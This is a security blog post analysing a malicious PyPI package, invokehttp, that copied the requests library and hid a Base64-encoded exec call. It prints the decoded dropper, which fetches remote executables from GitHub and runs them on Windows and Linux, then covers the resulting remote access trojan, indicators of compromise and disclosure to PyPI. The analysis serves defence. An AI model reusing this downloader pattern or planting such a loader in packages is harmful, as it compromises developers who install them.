DEV Community

Cover image for Cross-platform RAT deployed by weaponized 'requests' clone
Ariel for Stacklok

Posted on

Cross-platform RAT deployed by weaponized 'requests' clone

Author @lukehinds & @poppysec

Initial discovery with Trusty

On August 29th, Stacklok’s automated threat detection platform alerted us to the presence of malicious code in a newly published PyPI package named invokehttp

This package raised red flags due to inconsistencies in its metadata and the absence of any verified connection to its claimed GitHub repository.

Image description

Several anomalies in the package metadata triggered further inspection:

  • Failed Proof-of-Origin checks: The package claimed to be associated with the GitHub repository undetected-chromedriver, but other packages held stronger claims to this repository.

  • Versioning: Despite being newly created, the package claimed a version number of 2.5.5.

  • Homepage link: The package homepage was set to an unrelated URL, google.com, which is unusual and could indicate some carelessness in design

Image description

On first glance, the package might look like a legitimate library for facilitating HTTP requests in Python. Eagle-eyed readers may note that the Quick Start code in the description bears a striking resemblance to Python’s widely-used requests library. Upon comparison we found the code had been largely lifted from requests, with a few nefarious additions in the __init__.py file. 

Interestingly, rather than being a direct starjacking attempt on requests (which involves hijacking the reputation of popular packages), the attacker opted to link the package to a popular Selenium ChromeDriver GitHub repository. This has the same effect of exploiting the repository’s high number of stars, forks, and followers, adding a layer of credibility to invokehttp.

The source code for requests has likely been copied to bulk out the package and lend it some legitimacy upon quick visual inspection.

Weaponization

In the __init__.py file, base64.b64decode() is imported and aliased as invoke(), a defense evasion tactic intended to bypass string-based detection mechanisms.

Image description

Hidden in between blocks of the legitimate requests functions, the attacker has inserted an exec() call to execute content from a decoded Base64 script.

Image description

Decoding the script, we can immediately see malicious intent.

import os as borrow
import platform as blacktrone
from subprocess import Popen as pickachu

try:
    import requests as takihao
except:
    borrow.system('pip install requests')
    import requests as takihao

if blacktrone.system() == "Windows":
    papirus = borrow.path.join(borrow.getenv('TEMP'), 'marshal.exe')
    if not borrow.path.exists(papirus):
        with open(papirus, 'wb') as f:
            f.write(takihao.get('https://github.com/user-attachments/files/16791956/marshal.txt').content)
        pickachu(papirus)
else:
    papirus = borrow.path.join(borrow.getenv('TEMP'), 'trezznor')
    if not borrow.path.exists(papirus):
        with open(papirus, 'wb') as f:
            f.write(takihao.get('https://github.com/user-attachments/files/16791996/trezznor.txt').content)
        pickachu(papirus)
Enter fullscreen mode Exit fullscreen mode

The script aliases commonly used modules (os, platform, Popen, requests) with obscure names (borrow, blacktrone, pickachu, takihao), aiming to confuse analysis.

The script first attempts to import the legitimate requests as takihao, and installs it if the library is not available, ensuring that the downloader executes successfully.

Depending on the operating system, the script then downloads and executes a second-stage payload - either marshal.exe for Windows or trezznor for Linux-based systems. These executables are fetched from GitHub in text format, then written to the system’s temporary directory and executed.

Second-stage payloads

Properties

PE sample -
File Name marshal.exe
File type PE AMD64
Compiler Go (1.22.3)
Compilation operating system Windows(7)
SHA256 84ccffd89ef262ce8475801bfc751fec381ee613f38f78b1c0974716ad32bab8
ssdeep 98304:Xe4XgjYxTRCe5EdjYPAiZKAKeubMzKCkS3wJYBHchffSCmA:XbWYxTodeZ2euMHkSge
ELF sample -
File name trezznor
File type ELF AMD64
Compiler Go
Size 7.6 MB (8003072 bytes)
SHA256 6c2fb04f81fe0631d6765720af92aa9969f10766281fbc32b6f77889b50b87cd 
ssdeep 98304:PcAOESpxJOZEQn7gtvysOWxwaxcjkQbOxiH4lX0Og:EjpxJtdysTxwkBiIA

Capabilities

Both samples are packed Go-based executables.

Static analysis checks, such as reviewing API imports, offers great insight into the intended use of the executable. Here we will review the PE in some detail, but highly similar conclusions were drawn for the ELF counterpart.

Since the executable is statically-linked, tools like Blint Binary Linter can be used to parse its technical capabilities using both the Win32 imports and the Golang imports.

Image description

Many Win32 APIs associated with advanced thread and memory management were imported, such as SuspendThread, ResumeThread, SetThreadContext, and GetThreadContext

Amongst others, this would imply the sample has remote process injection capabilities. Manipulating the execution flow of threads is a method used to carry out keylogging or screen capturing, common activities for remote access trojans.

Image description

Additionally, the presence of functions related to file creation, writing, and system information gathering suggests that the payload is designed to collect and store data on the system, likely with the intent of later exfiltration.

Finally, analysis revealed references to Telegram and Tor onion addresses, which are commonly associated with encrypted communication channels and command-and-control (C2) operations.

Overall, the findings are strongly consistent with the profile of a Remote Access Trojan. They suggest that the payload has functionalities for remote command execution, system control, data exfiltration, and detection evasion.

Indicators of Compromise

Files

Filenames SHA256
marshal.exe 84ccffd89ef262ce8475801bfc751fec381ee613f38f78b1c0974716ad32bab8
trezznor 6c2fb04f81fe0631d6765720af92aa9969f10766281fbc32b6f77889b50b87cd
invokehttp-2.5.5-py3-none-any.whl 1ca29c9484acb099f7182c3c5cb876308b7a8853288102523edcd6852021811d
invokehttp-2.5.5/__init__.py 9126e951c1bf09d6122216ee9f7897590b3593b451fbe4e068955b5cdaa70531

IP addresses

  • 149.154.167.220

  • 20.26.156.215

  • 142.250.185.81

  • 103.250.232.39

  • 209.196.144.2

  • 109.202.202.202 

  • 91.189.91.43 

  • 91.189.91.42

Responsible disclosure

Shortly after our threat detection engine flagged the invokehttp package, we reported it to PyPI maintainers. The package was quickly quarantined on the PyPI registry, preventing any further installations of the malicious library.

On August 30, PyPI removed invokehttp from the registry.

Top comments (0)